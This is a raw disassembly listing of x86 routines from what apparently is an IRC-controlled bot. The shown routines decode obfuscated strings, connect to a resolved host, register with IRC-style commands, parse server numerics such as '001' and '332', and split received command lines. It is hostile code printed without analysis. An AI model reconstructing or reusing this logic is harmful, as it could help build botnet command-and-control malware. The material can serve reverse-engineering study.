		mov	ebx, offset asc_426F58 ; "ÒÐËÔÏÑÅ"
		call	sub_419EC1
		pop	ecx
		lea	ecx, [ebp+var_2C]
		lea	eax, [ebp+var_1072C]

loc_418230:				; CODE XREF: sub_41802D+21Bj
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_41824E
		test	dl, dl
		jz	short loc_41824A
		mov	dl, [eax+1]
		cmp	dl, [ecx+1]
		jnz	short loc_41824E
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx
		test	dl, dl
		jnz	short loc_418230

loc_41824A:				; CODE XREF: sub_41802D+20Bj
		xor	eax, eax
		jmp	short loc_418253
; ---------------------------------------------------------------------------

loc_41824E:				; CODE XREF: sub_41802D+207j
					; sub_41802D+213j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_418253:				; CODE XREF: sub_41802D+21Fj
		test	eax, eax
		jnz	short loc_418297
		push	9
		lea	esi, [ebp+var_20]
		mov	ebx, offset asc_426F34 ; "ÒÍÌÅ"
		call	sub_419EC1
		mov	edi, [ebp+var_10734]
		pop	ecx
		lea	eax, [ebp+var_1062C]
		push	eax
		mov	eax, esi
		push	eax
		push	offset aSS_10	; "%s %s\r\n"
		call	sub_417ABC
		add	esp, 0Ch
		test	al, al
		jnz	short loc_41828F

loc_418288:				; CODE XREF: sub_41802D+333j
		xor	al, al
		jmp	loc_4186E0
; ---------------------------------------------------------------------------

loc_41828F:				; CODE XREF: sub_41802D+259j
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosb

loc_418297:				; CODE XREF: sub_41802D+228j
		lea	ecx, [ebp+var_38]
		lea	eax, [ebp+var_1062C]

loc_4182A0:				; CODE XREF: sub_41802D+28Bj
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_4182BE
		test	dl, dl
		jz	short loc_4182BA
		mov	dl, [eax+1]
		cmp	dl, [ecx+1]
		jnz	short loc_4182BE
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx
		test	dl, dl
		jnz	short loc_4182A0

loc_4182BA:				; CODE XREF: sub_41802D+27Bj
		xor	eax, eax
		jmp	short loc_4182C3
; ---------------------------------------------------------------------------

loc_4182BE:				; CODE XREF: sub_41802D+277j
					; sub_41802D+283j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_4182C3:				; CODE XREF: sub_41802D+28Fj
		test	eax, eax
		jnz	loc_418365
		push	100h
		lea	esi, [ebp+var_32C]
		mov	ebx, offset aBb	; "¡¡ÉÉ"
		call	sub_419EC1
		pop	ecx
		mov	ecx, esi
		lea	eax, [ebp+var_1052C]

loc_4182E9:				; CODE XREF: sub_41802D+2D4j
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_418307
		test	dl, dl
		jz	short loc_418303
		mov	dl, [eax+1]
		cmp	dl, [ecx+1]
		jnz	short loc_418307
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx
		test	dl, dl
		jnz	short loc_4182E9

loc_418303:				; CODE XREF: sub_41802D+2C4j
		xor	eax, eax
		jmp	short loc_41830C
; ---------------------------------------------------------------------------

loc_418307:				; CODE XREF: sub_41802D+2C0j
					; sub_41802D+2CCj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41830C:				; CODE XREF: sub_41802D+2D8j
		test	eax, eax
		jnz	loc_4186DE
		push	9
		lea	esi, [ebp+var_14]
		mov	ebx, offset asc_426F46 ; "ÈÍËÌ"
		call	sub_419EC1
		pop	ecx
		push	30h
		lea	esi, [ebp+var_A8]
		mov	ebx, offset dword_4269B8
		call	sub_419EC1
		mov	edi, [ebp+var_10734]
		pop	ecx
		mov	eax, esi
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	offset aSSS_2	; "%s %s %s\r\n"
		call	sub_417ABC
		add	esp, 10h

loc_418358:				; CODE XREF: sub_41802D+3E0j
		test	al, al
		jnz	loc_4186DE
		jmp	loc_418288
; ---------------------------------------------------------------------------

loc_418365:				; CODE XREF: sub_41802D+298j
		push	4
		mov	edi, offset a001 ; "001"
		lea	esi, [ebp+var_1062C]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_418412
		push	9
		lea	esi, [ebp+var_14]
		mov	ebx, offset asc_426F46 ; "ÈÍËÌ"
		call	sub_419EC1
		pop	ecx
		push	9
		lea	esi, [ebp+var_44]
		mov	ebx, offset asc_426F4F ; "ÏÍÆÇ"
		call	sub_419EC1
		lea	esi, [ebp+var_32C]
		mov	ebx, offset aBb	; "¡¡ÉÉ"
		mov	[esp+10h+var_10], 100h
		call	sub_419EC1
		pop	ecx
		push	30h
		lea	esi, [ebp+var_A8]
		mov	ebx, offset dword_4269B8
		call	sub_419EC1
		pop	ecx
		push	80h
		lea	esi, [ebp+var_22C]
		mov	ebx, offset byte_4269D1
		call	sub_419EC1
		mov	edi, [ebp+var_10734]
		pop	ecx
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, esi
		push	eax
		lea	eax, [edi+5]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	offset aSSSSSS	; "%s %s %s\r\n%s %s %s\r\n"
		call	sub_417ABC
		add	esp, 1Ch
		jmp	loc_418358
; ---------------------------------------------------------------------------

loc_418412:				; CODE XREF: sub_41802D+34Aj
		lea	ecx, [ebp+var_54]
		lea	eax, [ebp+var_1062C]

loc_41841B:				; CODE XREF: sub_41802D+406j
		mov	dl, [eax]
		cmp	dl, [ecx]
		jnz	short loc_418439
		test	dl, dl
		jz	short loc_418435
		mov	dl, [eax+1]
		cmp	dl, [ecx+1]
		jnz	short loc_418439
		inc	eax
		inc	eax
		inc	ecx
		inc	ecx
		test	dl, dl
		jnz	short loc_41841B

loc_418435:				; CODE XREF: sub_41802D+3F6j
		xor	eax, eax
		jmp	short loc_41843E
; ---------------------------------------------------------------------------

loc_418439:				; CODE XREF: sub_41802D+3F2j
					; sub_41802D+3FEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41843E:				; CODE XREF: sub_41802D+40Aj
		test	eax, eax
		jz	short loc_41845A
		push	4
		mov	edi, offset a332 ; "332"
		lea	esi, [ebp+var_1062C]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_4186DE

loc_41845A:				; CODE XREF: sub_41802D+413j
		push	8
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_78], 0
		lea	edi, [ebp+var_77]
		rep stosd
		mov	ebx, 0FFh
		push	ebx
		stosw
		xor	esi, esi
		lea	eax, [ebp+var_1AB]
		push	esi
		push	eax
		mov	byte ptr [ebp+var_10730], 0
		mov	[ebp+var_1AC], 0
		call	sub_407F20
		add	esp, 0Ch
		push	ebx
		lea	eax, [ebp+var_62B]
		push	esi
		push	eax
		mov	[ebp+var_62C], 0
		call	sub_407F20
		add	esp, 0Ch
		push	ebx
		lea	eax, [ebp+var_72B]
		push	esi
		push	eax
		mov	[ebp+var_72C], 0
		call	sub_407F20
		add	esp, 0Ch
		lea	eax, [ebp+var_1072C]
		push	offset asc_420348 ; " :"
		push	eax
		call	sub_403DF4
		push	eax
		push	offset aS_0	; "%s"
		lea	eax, [ebp+var_62C]
		push	ebx
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_62C]
		add	esp, 18h
		lea	esi, [eax+1]

loc_4184F0:				; CODE XREF: sub_41802D+4C8j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4184F0
		sub	eax, esi
		mov	[ebp+eax+var_62C], cl
		lea	eax, [ebp+var_1072C]
		push	offset asc_420350 ; "!"
		push	eax
		call	sub_403DF4
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_78]
		push	22h
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_78]
		add	esp, 18h
		lea	esi, [eax+1]

loc_41852B:				; CODE XREF: sub_41802D+503j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41852B
		sub	eax, esi
		mov	[ebp+eax+var_78], cl
		lea	eax, [ebp+var_78]
		lea	esi, [eax+1]

loc_41853E:				; CODE XREF: sub_41802D+516j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41853E
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_77]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		call	sub_403CD0
		add	esp, 0Ch
		push	4
		mov	edi, offset a332_0 ; "332"
		lea	esi, [ebp+var_1062C]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4185A4
		lea	eax, [ebp+var_1042C]
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_1AC]
		push	ebx
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_1AC]
		add	esp, 10h
		lea	edx, [eax+1]

loc_418591:				; CODE XREF: sub_41802D+569j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_418591
		mov	byte ptr [ebp+var_10730], 1
		jmp	loc_418631
; ---------------------------------------------------------------------------

loc_4185A4:				; CODE XREF: sub_41802D+53Dj
		mov	esi, [ebp+var_10734]
		add	esi, 5
		lea	eax, [ebp+var_1052C]

loc_4185B3:				; CODE XREF: sub_41802D+59Ej
		mov	cl, [eax]
		cmp	cl, [esi]
		jnz	short loc_4185D1
		test	cl, cl
		jz	short loc_4185CD
		mov	cl, [eax+1]
		cmp	cl, [esi+1]
		jnz	short loc_4185D1
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_4185B3

loc_4185CD:				; CODE XREF: sub_41802D+58Ej
		xor	eax, eax
		jmp	short loc_4185D6
; ---------------------------------------------------------------------------

loc_4185D1:				; CODE XREF: sub_41802D+58Aj
					; sub_41802D+596j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_4185D6:				; CODE XREF: sub_41802D+5A2j
		test	eax, eax
		jnz	short loc_418605
		lea	eax, [ebp+var_78]
		push	eax
		push	offset aS_3	; "%s"
		lea	eax, [ebp+var_1AC]
		push	ebx
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_1AC]
		add	esp, 10h
		lea	edx, [eax+1]

loc_4185FC:				; CODE XREF: sub_41802D+5D4j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4185FC
		jmp	short loc_418631
; ---------------------------------------------------------------------------

loc_418605:				; CODE XREF: sub_41802D+5ABj
		lea	eax, [ebp+var_1052C]
		push	eax
		push	offset aS_4	; "%s"
		lea	eax, [ebp+var_1AC]
		push	ebx
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_1AC]
		add	esp, 10h
		lea	edx, [eax+1]

loc_41862A:				; CODE XREF: sub_41802D+602j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41862A

loc_418631:				; CODE XREF: sub_41802D+572j
					; sub_41802D+5D6j
		sub	eax, edx
		push	100h
		lea	esi, [ebp+var_72C]
		mov	ebx, offset byte_426A09
		mov	[ebp+eax+var_1AC], 0
		call	sub_419EC1
		pop	ecx
		lea	eax, [ebp+var_62C]
		mov	ecx, esi
		call	sub_419834
		test	eax, eax
		jnz	short loc_41866A
		cmp	byte ptr [ebp+var_10730], al
		jz	short loc_4186DE

loc_41866A:				; CODE XREF: sub_41802D+633j
		xor	edi, edi
		cmp	byte ptr [ebp+var_10730], 0
		lea	eax, [ebp+var_52C]
		jz	short loc_418682
		push	offset asc_420368 ; ";"
		jmp	short loc_418687
; ---------------------------------------------------------------------------

loc_418682:				; CODE XREF: sub_41802D+64Cj
		push	offset asc_42036C ; ";"

loc_418687:				; CODE XREF: sub_41802D+653j
		push	eax
		call	sub_403DF4
		jmp	short loc_4186A3
; ---------------------------------------------------------------------------

loc_41868F:				; CODE XREF: sub_41802D+67Aj
		push	offset asc_420370 ; ";"
		push	0
		mov	[ebp+edi*4+var_10F34], eax
		call	sub_403DF4
		inc	edi

loc_4186A3:				; CODE XREF: sub_41802D+660j
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41868F
		xor	esi, esi
		test	edi, edi
		jle	short loc_4186DE

loc_4186AF:				; CODE XREF: sub_41802D+6AFj
		push	[ebp+esi*4+var_10F34]
		lea	eax, [ebp+var_1AC]
		push	eax
		lea	eax, [ebp+var_62C]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	[ebp+var_10730]
		push	[ebp+var_10734]
		call	sub_417E66
		inc	esi
		cmp	esi, edi
		jl	short loc_4186AF

loc_4186DE:				; CODE XREF: sub_41802D+2E1j
					; sub_41802D+32Dj ...
		mov	al, 1

loc_4186E0:				; CODE XREF: sub_41802D+25Dj
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn	4
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186F1	proc near		; CODE XREF: sub_41C28D+477p

var_20414	= dword	ptr -20414h
var_20410	= dword	ptr -20410h
var_2040C	= dword	ptr -2040Ch
var_20408	= byte ptr -20408h
var_408		= byte ptr -408h
var_407		= byte ptr -407h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 20414h
		call	sub_4117B0
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	esi, 3FFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_407]
		mov	edi, ecx
		push	ebx
		push	eax
		mov	[ebp+var_20414], edi
		mov	[ebp+var_408], bl
		call	sub_407F20
		add	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_408]
		push	eax
		push	dword ptr [edi]
		mov	[ebp+var_2040C], ebx
		call	ds:dword_41D26C	; recv
		test	eax, eax
		jz	loc_418806
		lea	eax, [ebp+var_408]
		lea	edx, [eax+1]

loc_418759:				; CODE XREF: sub_4186F1+6Dj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_418759
		sub	eax, edx
		mov	[ebp+eax+var_408], bl
		lea	eax, [ebp+var_408]
		push	offset asc_4202E4 ; "\r\n"
		push	eax
		call	sub_403DF4
		push	20000h
		mov	edi, eax
		lea	eax, [ebp+var_20408]
		push	ebx
		push	eax
		call	sub_407F20
		add	esp, 14h
		cmp	edi, ebx
		mov	esi, 200h
		jz	short loc_4187DC
		lea	eax, [ebp+var_20408]
		mov	[ebp+var_20410], eax

loc_4187A6:				; CODE XREF: sub_4186F1+E9j
		push	edi
		push	offset aS_10	; "%s"
		push	1FFh
		push	[ebp+var_20410]
		call	sub_402EAE
		push	offset asc_4202EC ; "\r\n"
		push	ebx
		call	sub_403DF4
		add	[ebp+var_20410], esi
		add	esp, 18h
		inc	[ebp+var_2040C]
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4187A6

loc_4187DC:				; CODE XREF: sub_4186F1+A7j
		cmp	[ebp+var_2040C], ebx
		jle	short loc_418802
		mov	ebx, [ebp+var_2040C]
		lea	edi, [ebp+var_20408]

loc_4187F0:				; CODE XREF: sub_4186F1+10Fj
		push	[ebp+var_20414]
		mov	ecx, edi
		call	sub_41802D
		add	edi, esi
		dec	ebx
		jnz	short loc_4187F0

loc_418802:				; CODE XREF: sub_4186F1+F1j
		mov	al, 1
		jmp	short loc_418810
; ---------------------------------------------------------------------------

loc_418806:				; CODE XREF: sub_4186F1+59j
		push	dword ptr [edi]
		call	ds:dword_41D280	; closesocket
		xor	al, al

loc_418810:				; CODE XREF: sub_4186F1+113j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_4186F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41881F	proc near		; CODE XREF: sub_41C28D+465p

var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= byte ptr -448h
var_447		= byte ptr -447h
var_444		= byte ptr -444h
var_443		= byte ptr -443h
var_440		= word ptr -440h
var_43E		= word ptr -43Eh
var_43C		= byte ptr -43Ch
var_430		= byte ptr -430h
var_42F		= byte ptr -42Fh
var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	0
		push	1
		mov	edi, ecx
		push	2
		mov	[ebp+var_450], edi
		mov	ebx, edx
		mov	[ebp+var_44C], eax
		call	ds:dword_41D220	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[edi], eax
		jnz	short loc_418869
		push	eax

loc_41885C:				; CODE XREF: sub_41881F+8Bj
		call	ds:dword_41D280	; closesocket
		xor	al, al
		jmp	loc_418A7B
; ---------------------------------------------------------------------------

loc_418869:				; CODE XREF: sub_41881F+3Aj
		push	1FFh
		lea	eax, [ebp+var_22F]
		push	0
		push	eax
		mov	[ebp+var_230], 0
		call	sub_407F20
		add	esp, 0Ch
		push	200h
		lea	esi, [ebp+var_230]
		call	sub_419EC1
		pop	ecx
		mov	eax, esi
		push	eax
		call	ds:dword_41D244	; gethostbyname
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_4188AC

loc_4188A8:				; CODE XREF: sub_41881F+E7j
		push	dword ptr [edi]
		jmp	short loc_41885C
; ---------------------------------------------------------------------------

loc_4188AC:				; CODE XREF: sub_41881F+87j
		push	200h
		lea	eax, [ebp+var_230]
		push	ebx
		push	eax
		call	sub_407F20
		movsx	eax, word ptr [esi+0Ah]
		add	esp, 0Ch
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_43C]
		push	eax
		call	sub_407FA0
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	[ebp+var_440], 2
		call	ds:dword_41D270	; htons
		mov	[ebp+var_43E], ax
		push	10h
		lea	eax, [ebp+var_440]
		push	eax
		push	dword ptr [edi]
		call	ds:dword_41D23C	; connect
		test	eax, eax
		jnz	short loc_4188A8
		mov	eax, [ebp+var_44C]
		lea	edx, [eax+1]

loc_418911:				; CODE XREF: sub_41881F+F7j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_418911
		sub	eax, edx
		jz	short loc_418987
		xor	eax, eax
		mov	[ebp+var_18], bl
		lea	edi, [ebp+var_17]
		stosd
		push	1FFh
		stosd
		lea	eax, [ebp+var_42F]
		push	ebx
		push	eax
		mov	[ebp+var_430], bl
		call	sub_407F20
		mov	ebx, [ebp+var_44C]
		add	esp, 0Ch
		push	200h
		lea	esi, [ebp+var_430]
		call	sub_419EC1
		pop	ecx
		push	9
		lea	esi, [ebp+var_18]
		mov	ebx, offset asc_426F19 ; "ÒÃÑÑ"
		call	sub_419EC1
		mov	edi, [ebp+var_450]
		pop	ecx
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, esi
		push	eax
		push	offset aSS_8	; "%s %s\r\n"
		call	sub_417ABC
		add	esp, 0Ch
		xor	ebx, ebx

loc_418987:				; CODE XREF: sub_41881F+FBj
		xor	eax, eax
		mov	[ebp+var_24], bl
		lea	edi, [ebp+var_23]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_30], bl
		lea	edi, [ebp+var_2F]
		stosd
		stosd
		xor	eax, eax
		mov	[ebp+var_C], bl
		lea	edi, [ebp+var_B]
		stosd
		stosw
		xor	eax, eax
		push	ebx
		mov	[ebp+var_448], bl
		lea	edi, [ebp+var_447]
		stosw
		push	3
		mov	[ebp+var_444], bl
		lea	edi, [ebp+var_443]
		pop	ecx
		lea	esi, [ebp+var_448]
		stosw
		call	sub_419641
		pop	ecx
		push	ebx
		push	3
		lea	esi, [ebp+var_444]
		call	sub_41960F
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosw
		stosb
		mov	eax, esi
		push	eax
		lea	eax, [ebp+var_448]
		push	eax
		push	offset aSS_9	; "%s-%s"
		lea	eax, [ebp+var_C]
		push	6
		push	eax
		call	sub_402EAE
		lea	eax, [ebp+var_C]
		add	esp, 1Ch
		lea	esi, [eax+1]

loc_418A0E:				; CODE XREF: sub_41881F+1F4j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_418A0E
		sub	eax, esi
		mov	[ebp+eax+var_C], bl
		xor	eax, eax
		lea	edi, [ebp+var_448]
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_444]
		stosw
		push	9
		lea	esi, [ebp+var_24]
		mov	ebx, offset asc_426F10 ; "ÌËÁÉ"
		stosb
		call	sub_419EC1
		pop	ecx
		push	9
		lea	esi, [ebp+var_30]
		mov	ebx, offset asc_426F22 ; "×ÑÇÐ"
		call	sub_419EC1
		mov	edi, [ebp+var_450]
		pop	ecx
		lea	ebx, [edi+5]
		call	sub_417C7B
		push	ebx
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, esi
		push	eax
		push	ebx
		lea	eax, [ebp+var_24]
		push	eax
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		call	sub_417ABC
		add	esp, 18h
		mov	al, 1

loc_418A7B:				; CODE XREF: sub_41881F+45j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn	8
sub_41881F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A8C	proc near		; CODE XREF: sub_418AF1+3Ep

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	[ebp+var_C], 0
		lea	edi, [ebp+var_B]
		push	5
		lea	esi, [ebp+var_C]
		mov	ebx, offset asc_426F10 ; "ÌËÁÉ"
		stosd
		call	sub_419EC1
		mov	ebx, [ebp+var_10]
		pop	ecx
		add	ebx, 5
		call	sub_417C7B
		push	ebx
		mov	eax, esi
		push	eax
		push	offset aSS_7	; "%s %s\r\n"
		mov	edi, offset dword_4283FC
		call	sub_417ABC
		mov	ecx, [ebp+var_4]
		add	esp, 0Ch
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn	4
sub_418A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_418AF1	proc near		; DATA XREF: sub_41C28D+3B5o
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	esi
		push	edi
		call	sub_419590
		mov	edi, dword_427FD8
		mov	esi, dword_427FDC

loc_418B0A:				; CODE XREF: sub_418AF1+5Aj
		call	sub_419590
		cmp	dword_427FDC, esi
		jl	short loc_418B34
		jg	short loc_418B21
		cmp	dword_427FD8, edi
		jbe	short loc_418B34

loc_418B21:				; CODE XREF: sub_418AF1+26j
		cmp	byte_428400, 0
		jz	short loc_418B34
		push	offset dword_4283FC
		call	sub_418A8C

loc_418B34:				; CODE XREF: sub_418AF1+24j
					; sub_418AF1+2Ej ...
		mov	edi, dword_427FD8
		mov	esi, dword_427FDC
		push	0C350h
		call	ds:off_41D0F8
		jmp	short loc_418B0A
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B4D	proc near		; CODE XREF: sub_4192DB+1Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset word_4280D4
		push	dword_4281EC
		mov	[ebp+var_4], 10h
		call	ds:dword_41D234	; accept
		leave
		retn
sub_418B4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B6F	proc near		; CODE XREF: sub_418D42+1D2p

arg_0		= dword	ptr  4

		jmp	short loc_418B74
; ---------------------------------------------------------------------------

loc_418B71:				; CODE XREF: sub_418B6F+14j
		mov	byte ptr [eax],	5Ch

loc_418B74:				; CODE XREF: sub_418B6Fj
		push	2Fh
		push	[esp+4+arg_0]
		call	sub_403C10
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_418B71
		retn
sub_418B6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B86	proc near		; CODE XREF: sub_418D42+192p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
var_2		= byte ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		push	edi
		lea	ecx, [eax+1]

loc_418B97:				; CODE XREF: sub_418B86+16j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_418B97
		sub	eax, ecx
		inc	eax
		push	eax
		call	sub_402A08
		mov	ebx, eax
		push	ebx
		call	sub_402E05
		push	eax
		push	0
		push	ebx
		call	sub_407F20
		push	25h
		push	esi
		call	sub_403C10
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_418C10

loc_418BC7:				; CODE XREF: sub_418B86+114j
		mov	eax, esi
		mov	edx, esi

loc_418BCB:				; CODE XREF: sub_418B86+4Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_418BCB
		mov	edi, ebx
		sub	eax, edx
		dec	edi

loc_418BD7:				; CODE XREF: sub_418B86+57j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_418BD7
		mov	ecx, eax
		shr	ecx, 2
		mov	esi, edx
		mov	edx, [ebp+arg_0]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	edi, edx
		stosd
		mov	eax, ebx
		sub	edx, ebx

loc_418BFB:				; CODE XREF: sub_418B86+7Dj
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_418BFB
		xor	esi, esi
		inc	esi
		jmp	loc_418CA1
; ---------------------------------------------------------------------------

loc_418C0D:				; CODE XREF: sub_418B86+10Ej
		mov	eax, [ebp+var_8]

loc_418C10:				; CODE XREF: sub_418B86+3Fj
		mov	byte ptr [eax],	0
		mov	ecx, esi

loc_418C15:				; CODE XREF: sub_418B86+94j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_418C15
		sub	ecx, esi
		mov	edi, ebx
		mov	edx, ecx
		dec	edi

loc_418C23:				; CODE XREF: sub_418B86+A3j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_418C23
		mov	ecx, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		inc	eax
		push	2
		push	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		rep movsb
		call	sub_403CD0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	offset asc_420564 ; "%x"
		push	eax
		mov	[ebp+var_2], 0
		call	sub_4039A4
		add	esp, 18h
		test	eax, eax
		jz	short loc_418C9F
		mov	eax, ebx
		lea	esi, [eax+1]

loc_418C6B:				; CODE XREF: sub_418B86+EAj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_418C6B
		mov	cl, [ebp+var_C]
		sub	eax, esi
		mov	esi, [ebp+var_8]
		add	esi, 2
		push	25h
		push	esi
		mov	[eax+ebx], cl
		mov	byte ptr [eax+ebx+1], 0
		call	sub_403C10
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	loc_418C0D
		jmp	loc_418BC7
; ---------------------------------------------------------------------------

loc_418C9F:				; CODE XREF: sub_418B86+DEj
		xor	esi, esi

loc_418CA1:				; CODE XREF: sub_418B86+82j
		push	ebx
		call	sub_402F5B
		pop	ecx
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418CAF	proc near		; CODE XREF: sub_418D42+A1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	[eax], esi
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[eax], esi
		mov	eax, [ebp+arg_8]
		push	offset asc_42054C ; "\r\n"
		push	esi
		mov	[ebx], esi
		mov	[eax], esi
		call	sub_403B70
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_418CDB

loc_418CD7:				; CODE XREF: sub_418CAF+52j
					; sub_418CAF+69j ...
		xor	eax, eax
		jmp	short loc_418D3F
; ---------------------------------------------------------------------------

loc_418CDB:				; CODE XREF: sub_418CAF+26j
		push	offset asc_420550 ; " "
		push	esi
		mov	byte ptr [edi],	0
		call	sub_403DF4
		mov	ecx, [ebp+arg_0]
		push	offset asc_420554 ; " "
		push	0
		mov	[ecx], eax
		call	sub_403DF4
